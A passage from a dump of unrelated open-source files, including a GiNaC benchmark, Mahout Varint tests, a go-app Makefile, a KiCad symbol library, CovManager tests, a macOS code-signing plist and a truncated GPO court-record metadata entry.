591 459 40))\n (groundpiece \n (type \"ground\")\n (surface \n (image \"groundpieces/ground/misc/stoneblock2\")\n (modifier \"ROT0\"))\n (position 591 204 40))\n (exit \n (owner-id 0)\n (position 342 536 0)\n (surface \n (image \"exits/stone\")\n (modifier \"ROT0\"))\n (owner-id 0))))\n;; EOF ;;\n"} {"text": "/** @file time_lw_D.cpp\n *\n * Test D from the paper \"Comparison of Polynomial-Oriented CAS\" by Robert H.\n * Lewis and Michael Wester. */\n\n/*\n * GiNaC Copyright (C) 1999-2016 Johannes Gutenberg University Mainz, Germany\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n */\n\n#include \"ginac.h\"\n#include \"timer.h\"\nusing namespace GiNaC;\n\n#include <iostream>\n#include <vector>\nusing namespace std;\n\nstatic unsigned test()\n{\n\tex s;\n\tsymbol y(\"y\");\n\tsymbol t(\"t\");\n\t\n\tfor (int i=1; i<=10; ++i)\n\t\ts += i*y*pow(t,i)/pow(y + i*t,i);\n\t\n\ts = s.normal();\n\t\n\tif (s.subs(t==0)!=0) {\n\t\tclog << \"something very strange happened\" << endl;\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n\nunsigned time_lw_D()\n{\n\tunsigned result = 0;\n\tunsigned count = 0;\n\ttimer rolex;\n\tdouble time = .0;\n\t\n\tcout << \"timing Lewis-Wester test D (normalized sum of rational fcns)\" << flush;\n\t\n\trolex.start();\n\t// correct for very small times:\n\tdo {\n\t\tresult = test();\n\t\t++count;\n\t} while ((time=rolex.read())<0.1 && !result);\n\tcout << '.' << flush;\n\tcout << time/count << 's' << endl;\n\t\n\treturn result;\n}\n\nextern void randomify_symbol_serials();\n\nint main(int argc, char** argv)\n{\n\trandomify_symbol_serials();\n\tcout << setprecision(2) << showpoint;\n\treturn time_lw_D();\n}\n"} {"text": "Platforms\r\n=========\r\n\r\nWe maintain the list of supported platforms on our wiki now, and how to\r\nbuild and install SDL for those platforms:\r\n\r\n https://wiki.libsdl.org/Installation\r\n\r\n"} {"text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\n/**\n * Your LRUCache object will be instantiated and called as such:\n * LRUCache* obj = new LRUCache(capacity);\n * int param_1 = obj->get(key);\n * obj->put(key,value);\n */\nclass LRUCache {\npublic:\n LRUCache(int capacity) {\n capacity_ = capacity;\n }\n\n int get(int key) {\n if (ht_.find(key) == ht_.end()) {\n return -1;\n }\n\n int value = ht_[key]->second;\n if (li_.front().first != key) {\n li_.erase(ht_[key]);\n li_.push_front(make_pair(key, value));\n ht_[key] = li_.begin(); // iterator failure\n }\n\n return value;\n }\n\n void put(int key, int value) {\n if (ht_.find(key) != ht_.end()) {\n li_.erase(ht_[key]);\n } else {\n if (li_.size() == capacity_) {\n auto lru = li_.back();\n li_.pop_back();\n ht_.erase(lru.first);\n }\n }\n li_.push_front(make_pair(key, value));\n ht_[key] = li_.begin(); // iterator failure\n }\n\nprivate:\n int capacity_;\n list<pair<int, int>> li_;\n unordered_map<int, list<pair<int, int>>::iterator> ht_;\n};\n"} {"text": "/**\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.apache.mahout.math;\n\nimport org.junit.Test;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.DataInput;\nimport java.io.DataInputStream;\nimport java.io.DataOutput;\nimport java.io.DataOutputStream;\n\n/**\n * Tests {@link Varint}.\n */\npublic final class VarintTest extends MahoutTestCase {\n\n @Test\n public void testUnsignedLong() throws Exception {\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n DataOutput out = new DataOutputStream(baos);\n Varint.writeUnsignedVarLong(0L, out);\n for (long i = 1L; i > 0L && i <= (1L << 62); i <<= 1) {\n Varint.writeUnsignedVarLong(i-1, out);\n Varint.writeUnsignedVarLong(i, out);\n }\n Varint.writeUnsignedVarLong(Long.MAX_VALUE, out);\n\n DataInput in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));\n assertEquals(0L, Varint.readUnsignedVarLong(in));\n for (long i = 1L; i > 0L && i <= (1L << 62); i <<= 1) {\n assertEquals(i-1, Varint.readUnsignedVarLong(in));\n assertEquals(i, Varint.readUnsignedVarLong(in));\n }\n assertEquals(Long.MAX_VALUE, Varint.readUnsignedVarLong(in));\n }\n\n @Test\n public void testSignedPositiveLong() throws Exception {\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n DataOutput out = new DataOutputStream(baos);\n Varint.writeSignedVarLong(0L, out);\n for (long i = 1L; i <= (1L << 61); i <<= 1) {\n Varint.writeSignedVarLong(i-1, out);\n Varint.writeSignedVarLong(i, out);\n }\n Varint.writeSignedVarLong((1L << 62) - 1, out);\n Varint.writeSignedVarLong((1L << 62), out);\n Varint.writeSignedVarLong(Long.MAX_VALUE, out);\n\n DataInput in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));\n assertEquals(0L, Varint.readSignedVarLong(in));\n for (long i = 1L; i <= (1L << 61); i <<= 1) {\n assertEquals(i-1, Varint.readSignedVarLong(in));\n assertEquals(i, Varint.readSignedVarLong(in));\n }\n assertEquals((1L << 62) - 1, Varint.readSignedVarLong(in));\n assertEquals((1L << 62), Varint.readSignedVarLong(in));\n assertEquals(Long.MAX_VALUE, Varint.readSignedVarLong(in));\n }\n\n @Test\n public void testSignedNegativeLong() throws Exception {\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n DataOutput out = new DataOutputStream(baos);\n for (long i = -1L; i >= -(1L << 62); i <<= 1) {\n Varint.writeSignedVarLong(i, out);\n Varint.writeSignedVarLong(i+1, out);\n }\n Varint.writeSignedVarLong(Long.MIN_VALUE, out);\n Varint.writeSignedVarLong(Long.MIN_VALUE+1, out);\n DataInput in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));\n for (long i = -1L; i >= -(1L << 62); i <<= 1) {\n assertEquals(i, Varint.readSignedVarLong(in));\n assertEquals(i+1, Varint.readSignedVarLong(in));\n }\n assertEquals(Long.MIN_VALUE, Varint.readSignedVarLong(in));\n assertEquals(Long.MIN_VALUE+1, Varint.readSignedVarLong(in));\n }\n\n @Test\n public void testUnsignedInt() throws Exception {\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n DataOutput out = new DataOutputStream(baos);\n Varint.writeUnsignedVarInt(0, out);\n for (int i = 1; i > 0 && i <= (1 << 30); i <<= 1) {\n Varint.writeUnsignedVarLong(i-1, out);\n Varint.writeUnsignedVarLong(i, out);\n }\n Varint.writeUnsignedVarLong(Integer.MAX_VALUE, out);\n\n DataInput in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));\n assertEquals(0, Varint.readUnsignedVarInt(in));\n for (int i = 1; i > 0 && i <= (1 << 30); i <<= 1) {\n assertEquals(i-1, Varint.readUnsignedVarInt(in));\n assertEquals(i, Varint.readUnsignedVarInt(in));\n }\n assertEquals(Integer.MAX_VALUE, Varint.readUnsignedVarInt(in));\n }\n\n @Test\n public void testSignedPositiveInt() throws Exception {\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n DataOutput out = new DataOutputStream(baos);\n Varint.writeSignedVarInt(0, out);\n for (int i = 1; i <= (1 << 29); i <<= 1) {\n Varint.writeSignedVarLong(i-1, out);\n Varint.writeSignedVarLong(i, out);\n }\n Varint.writeSignedVarInt((1 << 30) - 1, out);\n Varint.writeSignedVarInt((1 << 30), out);\n Varint.writeSignedVarInt(Integer.MAX_VALUE, out);\n\n DataInput in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));\n assertEquals(0, Varint.readSignedVarInt(in));\n for (int i = 1; i <= (1 << 29); i <<= 1) {\n assertEquals(i-1, Varint.readSignedVarInt(in));\n assertEquals(i, Varint.readSignedVarInt(in));\n }\n assertEquals((1L << 30) - 1, Varint.readSignedVarInt(in));\n assertEquals((1L << 30), Varint.readSignedVarInt(in));\n assertEquals(Integer.MAX_VALUE, Varint.readSignedVarInt(in));\n }\n\n @Test\n public void testSignedNegativeInt() throws Exception {\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n DataOutput out = new DataOutputStream(baos);\n for (int i = -1; i >= -(1 << 30); i <<= 1) {\n Varint.writeSignedVarInt(i, out);\n Varint.writeSignedVarInt(i+1, out);\n }\n Varint.writeSignedVarInt(Integer.MIN_VALUE, out);\n Varint.writeSignedVarInt(Integer.MIN_VALUE+1, out);\n DataInput in = new DataInputStream(new ByteArrayInputStream(baos.toByteArray()));\n for (int i = -1; i >= -(1 << 30); i <<= 1) {\n assertEquals(i, Varint.readSignedVarInt(in));\n assertEquals(i+1, Varint.readSignedVarInt(in));\n }\n assertEquals(Integer.MIN_VALUE, Varint.readSignedVarInt(in));\n assertEquals(Integer.MIN_VALUE+1, Varint.readSignedVarInt(in));\n }\n\n @Test\n public void testUnsignedSize() throws Exception {\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n DataOutput out = new DataOutputStream(baos);\n int expectedSize = 0;\n for (int exponent = 0; exponent <= 62; exponent++) {\n Varint.writeUnsignedVarLong(1L << exponent, out);\n expectedSize += 1 + exponent / 7;\n assertEquals(expectedSize, baos.size());\n }\n }\n\n @Test\n public void testSignedSize() throws Exception {\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n DataOutput out = new DataOutputStream(baos);\n int expectedSize = 0;\n for (int exponent = 0; exponent <= 61; exponent++) {\n Varint.writeSignedVarLong(1L << exponent, out);\n expectedSize += 1 + ((exponent + 1) / 7);\n assertEquals(expectedSize, baos.size());\n }\n for (int exponent = 0; exponent <= 61; exponent++) {\n Varint.writeSignedVarLong(-(1L << exponent)-1, out);\n expectedSize += 1 + ((exponent + 1) / 7);\n assertEquals(expectedSize, baos.size());\n }\n }\n\n}\n"} {"text": "<?php\n\n\nnamespace Office365\\Runtime;\n\nclass ResourcePath\n{\n\n /**\n * ResourcePath constructor.\n * @param string $segment\n * @param ResourcePath|null $parent\n */\n public function __construct($segment, ResourcePath $parent = null)\n {\n $this->segment = $segment;\n $this->parent = $parent;\n }\n\n\n /**\n * @return string\n */\n public function getSegment(){\n return $this->segment;\n }\n\n /**\n * @return null|ResourcePath\n */\n public function getParent(){\n return $this->parent;\n }\n\n /**\n * @return string\n */\n public function toUrl()\n {\n $segments = array();\n $current = clone $this;\n while (isset($current)) {\n if(!is_null($current->getSegment()))\n array_unshift($segments, $current->getSegment());\n $current = $current->getParent();\n }\n return implode(\"/\", $segments);\n }\n\n /**\n * @var ResourcePath\n */\n protected $parent;\n\n /**\n * @var string $segment\n */\n protected $segment;\n\n\n /**\n * @var int\n */\n public $Id;\n}\n"} {"text": "bootstrap:\n\t@echo \"\\033[94m• Setting up go test for wasm to run in the browser\\033[00m\"\n\tgo get -u github.com/agnivade/wasmbrowsertest\n\tmv ${GOPATH}/bin/wasmbrowsertest ${GOPATH}/bin/go_js_wasm_exec\n\n.PHONY: test\ntest:\n\t@echo \"\\033[94m• Running Go vet\\033[00m\"\n\tgo vet ./...\n\t@echo \"\\033[94m\\n• Running Go tests\\033[00m\"\n\tgo test -race ./...\n\t@echo \"\\033[94m\\n• Running go wasm tests\\033[00m\"\n\tGOARCH=wasm GOOS=js go test ./pkg/app\n\nrelease: test\nifdef VERSION\n\t@echo \"\\033[94m\\n• Releasing ${VERSION}\\033[00m\"\n\t@git tag ${VERSION}\n\t@git push origin ${VERSION}\n\nelse\n\t@echo \"\\033[94m\\n• Releasing version\\033[00m\"\n\t@echo \"\\033[91mVERSION is not defided\\033[00m\"\n\t@echo \"~> make VERSION=\\033[90mv6.0.0\\033[00m release\"\nendif\n\t\n\nbuild:\n\t@echo \"\\033[94m• Building go-app documentation PWA\\033[00m\"\n\t@GOARCH=wasm GOOS=js go build -o docs/web/app.wasm ./docs/src\n\t@echo \"\\033[94m• Building go-app documentation\\033[00m\"\n\t@go build -o docs/documentation ./docs/src\n\nrun: build\n\t@echo \"\\033[94m• Running go-app documentation server\\033[00m\"\n\t@cd docs && ./documentation local\n\ngithub: build\n\t@echo \"\\033[94m• Generating GitHub Pages\\033[00m\"\n\t@cd docs && ./documentation github\n\nclean:\n\t@go clean -v ./...\n\t-@rm docs/documentation\n"} {"text": "EESchema-LIBRARY Version 2.3\n#encoding utf-8\n#\n# 1490-1024-ND\n#\nDEF 1490-1024-ND U 0 40 Y Y 1 F N\nF0 \"U\" -650 1800 60 H V C CNN\nF1 \"1490-1024-ND\" 900 -2400 60 H V C CNN\nF2 \"digikey-footprints:QFN-48-1EP_6x6mm\" 700 2100 60 H I L CNN\nF3 \"\" 200 300 60 H I L CNN\nDRAW\nS -800 1700 400 -2100 0 1 0 f\nX VDD 1 -200 1900 200 D 50 50 1 1 W\nX DCC 2 600 600 200 L 50 50 1 1 w\nX P0.30 3 -1000 1600 200 R 50 50 1 1 B\nX P0.00/AREF0 4 -1000 1500 200 R 50 50 1 1 B\nX P0.01/AIN2 5 -1000 1400 200 R 50 50 1 1 B\nX P0.02/AIN3 6 -1000 1300 200 R 50 50 1 1 B\nX P0.03/AIN4 7 -1000 1200 200 R 50 50 1 1 B\nX P0.04/AIN5 8 -1000 1100 200 R 50 50 1 1 B\nX P0.05/AIN6 9 -1000 1000 200 R 50 50 1 1 B\nX P0.06/AIN7/AREF1 10 -1000 900 200 R 50 50 1 1 B\nX P0.14 20 -1000 100 200 R 50 50 1 1 B\nX VDD_PA 30 600 500 200 L 50 50 1 1 w\nX P0.21 40 -1000 -1200 200 R 50 50 1 1 B\nX P0.07 11 -1000 800 200 R 50 50 1 1 B\nX P0.15 21 -1000 0 200 R 50 50 1 1 B\nX ANT1 31 -1000 -800 200 R 50 50 1 1 I\nX P0.22 41 -1000 -1300 200 R 50 50 1 1 B\nX VDD 12 -100 1900 200 D 50 50 1 1 W\nX P0.16 22 -1000 -100 200 R 50 50 1 1 B\nX ANT2 32 -1000 -900 200 R 50 50 1 1 I\nX P0.23 42 -1000 -1400 200 R 50 50 1 1 B\nX VSS 13 -100 -2300 200 U 50 50 1 1 W\nX SWDIO/nRESET 23 -1000 -200 200 R 50 50 1 1 B\nX VSS 33 0 -2300 200 U 50 50 1 1 W\nX P0.24 43 -1000 -1500 200 R 50 50 1 1 B\nX P0.08 14 -1000 700 200 R 50 50 1 1 B\nX SWDCLK 24 -1000 -300 200 R 50 50 1 1 I\nX VSS 34 100 -2300 200 U 50 50 1 1 W\nX P0.25 44 -1000 -1600 200 R 50 50 1 1 B\nX P0.09 15 -1000 600 200 R 50 50 1 1 B\nX P0.17 25 -1000 -400 200 R 50 50 1 1 B\nX AVDD 35 100 1900 200 D 50 50 1 1 W\nX P0.26/AIN0/XL2 45 -1000 -1700 200 R 50 50 1 1 B\nX P0.10 16 -1000 500 200 R 50 50 1 1 B\nX P0.18 26 -1000 -500 200 R 50 50 1 1 B\nX AVDD 36 200 1900 200 D 50 50 1 1 W\nX P0.27/AIN1/XL1 46 -1000 -1800 200 R 50 50 1 1 B\nX P0.11 17 -1000 400 200 R 50 50 1 1 B\nX P0.19 27 -1000 -600 200 R 50 50 1 1 B\nX XC1 37 -1000 -1000 200 R 50 50 1 1 I\nX P0.28 47 -1000 -1900 200 R 50 50 1 1 B\nX P0.12 18 -1000 300 200 R 50 50 1 1 B\nX P0.20 28 -1000 -700 200 R 50 50 1 1 B\nX XC2 38 -1000 -1100 200 R 50 50 1 1 I\nX P0.29 48 -1000 -2000 200 R 50 50 1 1 B\nX P0.13 19 -1000 200 200 R 50 50 1 1 B\nX DEC2 29 0 1900 200 D 50 50 1 1 W\nX DEC1 39 300 1900 200 D 50 50 1 1 W\nX EP_GND 49 300 -2300 200 U 50 50 1 1 W\nENDDRAW\nENDDEF\n#\n#End Library\n"} {"text": "/* SPDX-License-Identifier: GPL-2.0 */\n#ifndef _ARCH_X86_TLBBATCH_H\n#define _ARCH_X86_TLBBATCH_H\n\n#include <linux/cpumask.h>\n\nstruct arch_tlbflush_unmap_batch {\n\t/*\n\t * Each bit set is a CPU that potentially has a TLB entry for one of\n\t * the PFNs being flushed..\n\t */\n\tstruct cpumask cpumask;\n};\n\n#endif /* _ARCH_X86_TLBBATCH_H */\n"} {"text": "//\n// DateParser.swift\n// PDF Archiver\n//\n// Created by Julian Kahnert on 13.06.18.\n// Copyright © 2019 Julian Kahnert. All rights reserved.\n//\n\nimport Foundation\n\nstruct DateParser {\n var formats = [\n \"yyyy-MM-dd\": \"\\\\d{4}-\\\\d{2}-\\\\d{2}\",\n \"yyyy_MM_dd\": \"\\\\d{4}_\\\\d{2}_\\\\d{2}\",\n \"yyyyMMdd\": \"\\\\d{8}\"\n ]\n let dateFormatter = DateFormatter()\n\n func parse(_ dateIn: String) -> (date: Date, rawDate: String)? {\n for format in formats {\n if let dateRaw = dateIn.capturedGroups(withRegex: \"(\\(format.value))\") {\n self.dateFormatter.dateFormat = format.key\n if let date = self.dateFormatter.date(from: String(dateRaw[0])) {\n return (date, String(dateRaw[0]))\n }\n }\n }\n\n return nil\n }\n}\n"} {"text": "# coding: utf-8\n'''Tests for CovManager setup_repository management command\n\n@author: Jesse Schwartzentruber (:truber)\n\n@license:\n\nThis Source Code Form is subject to the terms of the Mozilla Public\nLicense, v. 2.0. If a copy of the MPL was not distributed with this\nfile, You can obtain one at http://mozilla.org/MPL/2.0/.\n'''\nimport os\nimport pytest\nfrom django.core.management import call_command, CommandError\nfrom covmanager.models import Repository\n\n\npytestmark = pytest.mark.django_db() # pylint: disable=invalid-name\n\n\ndef test_bad_args():\n with pytest.raises(CommandError, match=r\"Error: .*? arguments\"):\n call_command(\"setup_repository\")\n\n with pytest.raises(CommandError, match=r\"Error: .*? arguments\"):\n call_command(\"setup_repository\", \"\")\n\n with pytest.raises(CommandError, match=r\"Error: .*? arguments\"):\n call_command(\"setup_repository\", \"\", \"\")\n\n with pytest.raises(CommandError, match=r\"Error: invalid repository name\"):\n call_command(\"setup_repository\", \"\", \"git\", \".\")\n\n with pytest.raises(CommandError, match=r\"Error: invalid provider class\"):\n call_command(\"setup_repository\", \"test\", \"\", \".\")\n\n with pytest.raises(CommandError, match=r\"Error: invalid location\"):\n call_command(\"setup_repository\", \"test\", \"git\", \"\")\n\n with pytest.raises(CommandError, match=r\"Error: unrecognized arguments: \"):\n call_command(\"setup_repository\", \"\", \"\", \"\", \"\")\n\n\ndef test_repo_exists():\n Repository.objects.create(name=\"test\")\n with pytest.raises(CommandError, match=r\"Error: repository with name '.*' already exists!\"):\n call_command(\"setup_repository\", \"test\", \"\", \"\")\n\n\ndef test_bad_provider():\n with pytest.raises(CommandError, match=r\"Error: 'bad' is not a valid source code provider!\"):\n call_command(\"setup_repository\", \"test\", \"bad\", \".\")\n\n\ndef test_git_create():\n call_command(\"setup_repository\", \"test\", \"git\", \".\")\n repo = Repository.objects.get(name=\"test\")\n assert repo.classname == \"GITSourceCodeProvider\"\n assert repo.location == os.path.realpath(\".\")\n\n call_command(\"setup_repository\", \"test2\", \"GITSourceCodeProvider\", \".\")\n repo = Repository.objects.get(name=\"test2\")\n assert repo.classname == \"GITSourceCodeProvider\"\n assert repo.location == os.path.realpath(\".\")\n\n\ndef test_hg_create():\n call_command(\"setup_repository\", \"test\", \"hg\", \".\")\n repo = Repository.objects.get(name=\"test\")\n assert repo.classname == \"HGSourceCodeProvider\"\n assert repo.location == os.path.realpath(\".\")\n\n call_command(\"setup_repository\", \"test2\", \"HGSourceCodeProvider\", \".\")\n repo = Repository.objects.get(name=\"test2\")\n assert repo.classname == \"HGSourceCodeProvider\"\n assert repo.location == os.path.realpath(\".\")\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>files</key>\n\t<dict>\n\t\t<key>Resources/Info.plist</key>\n\t\t<data>\n\t\tBN1ArtJ5Ez3TiiDj5C0ZtuyxaC4=\n\t\t</data>\n\t</dict>\n\t<key>files2</key>\n\t<dict>\n\t\t<key>Resources/Info.plist</key>\n\t\t<dict>\n\t\t\t<key>hash</key>\n\t\t\t<data>\n\t\t\tBN1ArtJ5Ez3TiiDj5C0ZtuyxaC4=\n\t\t\t</data>\n\t\t\t<key>hash2</key>\n\t\t\t<data>\n\t\t\tRFtWQPgdKRIBOXqScLuVpI3JPTzcffl1C9egDli17mw=\n\t\t\t</data>\n\t\t</dict>\n\t</dict>\n\t<key>rules</key>\n\t<dict>\n\t\t<key>^Resources/</key>\n\t\t<true/>\n\t\t<key>^Resources/.*\\.lproj/</key>\n\t\t<dict>\n\t\t\t<key>optional</key>\n\t\t\t<true/>\n\t\t\t<key>weight</key>\n\t\t\t<real>1000</real>\n\t\t</dict>\n\t\t<key>^Resources/.*\\.lproj/locversion.plist$</key>\n\t\t<dict>\n\t\t\t<key>omit</key>\n\t\t\t<true/>\n\t\t\t<key>weight</key>\n\t\t\t<real>1100</real>\n\t\t</dict>\n\t\t<key>^Resources/Base\\.lproj/</key>\n\t\t<dict>\n\t\t\t<key>weight</key>\n\t\t\t<real>1010</real>\n\t\t</dict>\n\t\t<key>^version.plist$</key>\n\t\t<true/>\n\t</dict>\n\t<key>rules2</key>\n\t<dict>\n\t\t<key>.*\\.dSYM($|/)</key>\n\t\t<dict>\n\t\t\t<key>weight</key>\n\t\t\t<real>11</real>\n\t\t</dict>\n\t\t<key>^(.*/)?\\.DS_Store$</key>\n\t\t<dict>\n\t\t\t<key>omit</key>\n\t\t\t<true/>\n\t\t\t<key>weight</key>\n\t\t\t<real>2000</real>\n\t\t</dict>\n\t\t<key>^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/</key>\n\t\t<dict>\n\t\t\t<key>nested</key>\n\t\t\t<true/>\n\t\t\t<key>weight</key>\n\t\t\t<real>10</real>\n\t\t</dict>\n\t\t<key>^.*</key>\n\t\t<true/>\n\t\t<key>^Info\\.plist$</key>\n\t\t<dict>\n\t\t\t<key>omit</key>\n\t\t\t<true/>\n\t\t\t<key>weight</key>\n\t\t\t<real>20</real>\n\t\t</dict>\n\t\t<key>^PkgInfo$</key>\n\t\t<dict>\n\t\t\t<key>omit</key>\n\t\t\t<true/>\n\t\t\t<key>weight</key>\n\t\t\t<real>20</real>\n\t\t</dict>\n\t\t<key>^Resources/</key>\n\t\t<dict>\n\t\t\t<key>weight</key>\n\t\t\t<real>20</real>\n\t\t</dict>\n\t\t<key>^Resources/.*\\.lproj/</key>\n\t\t<dict>\n\t\t\t<key>optional</key>\n\t\t\t<true/>\n\t\t\t<key>weight</key>\n\t\t\t<real>1000</real>\n\t\t</dict>\n\t\t<key>^Resources/.*\\.lproj/locversion.plist$</key>\n\t\t<dict>\n\t\t\t<key>omit</key>\n\t\t\t<true/>\n\t\t\t<key>weight</key>\n\t\t\t<real>1100</real>\n\t\t</dict>\n\t\t<key>^Resources/Base\\.lproj/</key>\n\t\t<dict>\n\t\t\t<key>weight</key>\n\t\t\t<real>1010</real>\n\t\t</dict>\n\t\t<key>^[^/]+$</key>\n\t\t<dict>\n\t\t\t<key>nested</key>\n\t\t\t<true/>\n\t\t\t<key>weight</key>\n\t\t\t<real>10</real>\n\t\t</dict>\n\t\t<key>^embedded\\.provisionprofile$</key>\n\t\t<dict>\n\t\t\t<key>weight</key>\n\t\t\t<real>20</real>\n\t\t</dict>\n\t\t<key>^version\\.plist$</key>\n\t\t<dict>\n\t\t\t<key>weight</key>\n\t\t\t<real>20</real>\n\t\t</dict>\n\t</dict>\n</dict>\n</plist>\n"} {"text": "<mods xmlns=\"http://www.loc.gov/mods/v3\" xmlns:exslt=\"http://exslt.org/common\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xsi:schemaLocation=\"http://www.loc.gov/mods/v3 http://www.loc.gov/standards/mods/v3/mods-3-3.xsd\" version=\"3.3\" ID=\"P0b002ee18115afd1\">\n<name type=\"corporate\">\n <namePart>United States Government Printing Office</namePart>\n <role>\n <roleTerm type=\"text\" authority=\"marcrelator\">printer</roleTerm>\n <roleTerm type=\"code\" authority=\"marcrelator\">prt</roleTerm>\n</role>\n <role>\n <roleTerm type=\"text\" authority=\"marcrelator\">distributor</roleTerm>\n <roleTerm type=\"code\" authority=\"marcrelator\">dst</roleTerm>\n</role>\n</name>\n<name type=\"corporate\">\n <namePart>United States</namePart>\n <namePart>United States District Court Northern District of New York</namePart>\n <role>\n <roleTerm type=\"text\" authority=\"marcrelator\">author</roleTerm>\n <roleTerm type=\"code\" authority=\"marcrelator\">aut</roleTerm>\n</role>\n <description>Government Organization</description>\n</name>\n<typeOfResource>text</typeOfResource>\n<genre authority=\"marcgt\">government publication</genre>\n<language>\n <languageTerm authority=\"iso639-2b\" type=\"code\">eng</languageTerm>\n</language>\n<extension>\n <collectionCode>USCOURTS</collectionCode>\n <category>Judicial Publications</category>\n <branch>judicial</branch>\n <dateIngested>2011-11-16</dateIngested>\n</extension>\n<originInfo>\n <publisher>Administrative Office of the United States Courts</publisher>\n <dateIssued encoding=\"w3cdtf\">2009-01-14</dateIssued>\n <issuance>monographic</issuance>\n</originInfo>\n<physicalDescription>\n <note type=\"source content type\">deposited</note>\n <digitalOrigin>born digital</digitalOrigin>\n</physicalDescription>\n<classification authority=\"sudocs\">JU 4.15</classification>\n<identifier type=\"uri\">http://www.gpo.gov/fdsys/pkg/USCOURTS-nynd-5_08-cr-00690</identifier>\n<identifier type=\"local\">P0b002ee18115afd1</identifier>\n<recordInfo>\n <recordContentSource authority=\"marcorg\">DGPO</recordContentSource>\n <recordCreationDate encoding=\"w3cdtf\">2011-11-16</recordCreationDate>\n <recordChangeDate encoding=\"w3cdtf\">2011-12-22</recordChangeDate>\n <recordIdentifier source=\"DGPO\">USCOURTS-nynd-5_08-cr-00690</recordIdentifier>\n <recordOrigin>machine generated</recordOrigin>\n <languageOfCataloging>\n <languageTerm authority=\"iso639-2b\" type=\"code\">eng</languageTerm>\n</languageOfCataloging>\n</recordInfo>\n<accessCondition type=\"GPO scope determination\">fdlp</accessCondition>\n<extension>\n <docClass>USCOURTS</docClass>\n <accessId>USCOURTS-nynd-5_08-cr-00690</accessId>\n <courtType>District</courtType>\n <courtCode>nynd</courtCode>\n <courtCircuit>2nd</courtCircuit>\n <courtState>New York</courtState>\n <courtSortOrder>2352</courtSortOrder>\n <caseNumber>5:08-cr-00690</caseNumber>\n <caseOffice>Syracuse</caseOffice>\n <caseType>criminal</caseType>\n <party firstName=\"Estella\" fullName=\"Estella Maya-Maya\" lastName=\"Maya-Maya\" role=\"Defendant\"></party>\n <party fullName=\"USA\" lastName=\"USA\" role=\"Plaintiff\"></party>\n</extension>\n<titleInfo>\n <title>USA v. Maya-Maya</title>\n <partNumber>5:08-cr-00690</partNumber>\n</titleInfo>\n<location>\n <url access=\"object in context\" displayLabel=\"Content Detail\">http://www.gpo.gov/fdsys/pkg/USCOURTS-nynd-5_08-cr-00690/content-detail.html</url>\n</location>\n<classification authority=\"sudocs\">JU 4.15</classification>\n<identifier type=\"preferred citation\">5:08-cr-00690;08-690</identifier>\n<name type=\"corporate\">\n <namePart>United States District Court Northern District of New York</namePart>\n <namePart>2nd Circuit</namePart>\n <namePart>Syracuse</namePart>\n <affiliation>U.S. Courts</affiliation>\n <role>\n <roleTerm authority=\"marcrelator\" type=\"text\">author</roleTerm>\n <roleTerm authority=\"marcrelator\" type=\"code\">aut</roleTerm>\n</role>\n</name>\n<name type=\"personal\">\n <displayForm>Estella Maya-Maya</displayForm>\n <namePart type=\"family\">Maya-Maya</namePart>\n <namePart type=\"given\">Estella</namePart>\n <namePart type=\"termsOfAddress\"></namePart>\n <description>Defendant</description>\n</name>\n<name type=\"personal\">\n <displayForm>USA</displayForm>\n <namePart type=\"family\">USA</namePart>\n <namePart type=\"given\"></namePart>\n <namePart type=\"termsOfAddress\"></namePart>\n <description>Plaintiff</description>\n</name>\n<extension>\n <docClass>USCOURTS</docClass>\n <accessId>USCOURTS-nynd-5_08-cr-00690</accessId>\n <courtType>District</courtType>\n <courtCode>nynd</courtCode>\n <courtCircuit>2nd</courtCircuit>\n <courtState>New York</courtState>\n <courtSortOrder>2352</courtSortOrder>\n <caseNumber>5:08-cr-00690</caseNumber>\n <caseOffice>Syracuse</caseOffice>\n <caseType>criminal</caseType>\n <party firstName=\"Estella\" fullName=\"Estella Maya-Maya\" lastName=\"Maya-Maya\" role=\"Defendant\"></party>\n <party fullName=\"USA\" lastName=\"USA\" role=\"Plaintiff\"></party>\n <state>New York</state>\n</extension>\n<relatedItem type=\"constituent\" ID=\"id-USCOURTS-nynd-5_08-cr-00690-0\" 